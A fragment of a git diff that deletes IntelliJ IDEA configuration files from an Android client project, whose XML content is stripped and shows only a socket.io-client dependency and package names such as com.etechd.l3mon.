a/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/misc.xml b/client/.idea/misc.xml deleted file mode 100644 index f797995..0000000 --- a/client/.idea/misc.xml +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - \ No newline at end of file diff --git a/client/.idea/modules.xml b/client/.idea/modules.xml deleted file mode 100644 index 17df662..0000000 --- a/client/.idea/modules.xml +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - \ No newline at end of file diff --git a/client/.idea/runConfigurations.xml b/client/.idea/runConfigurations.xml deleted file mode 100644 index 9b770a6..0000000 --- a/client/.idea/runConfigurations.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/client/.idea/vcs.xml b/client/.idea/vcs.xml deleted file mode 100644 index 2e3f692..0000000 --- a/client/.idea/vcs.xml +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/client/.idea/workspace.xml b/client/.idea/workspace.xml deleted file mode 100644 index 2af4a90..0000000 --- a/client/.idea/workspace.xml +++ /dev/null @@ -1,550 +0,0 @@ - - - - - - - - - - - - - io.socket - socket.io-client - 1.0.0 - JCenter - - - 1566851843099 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http:// - com.etechd.l3mon - - - com.process.android - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -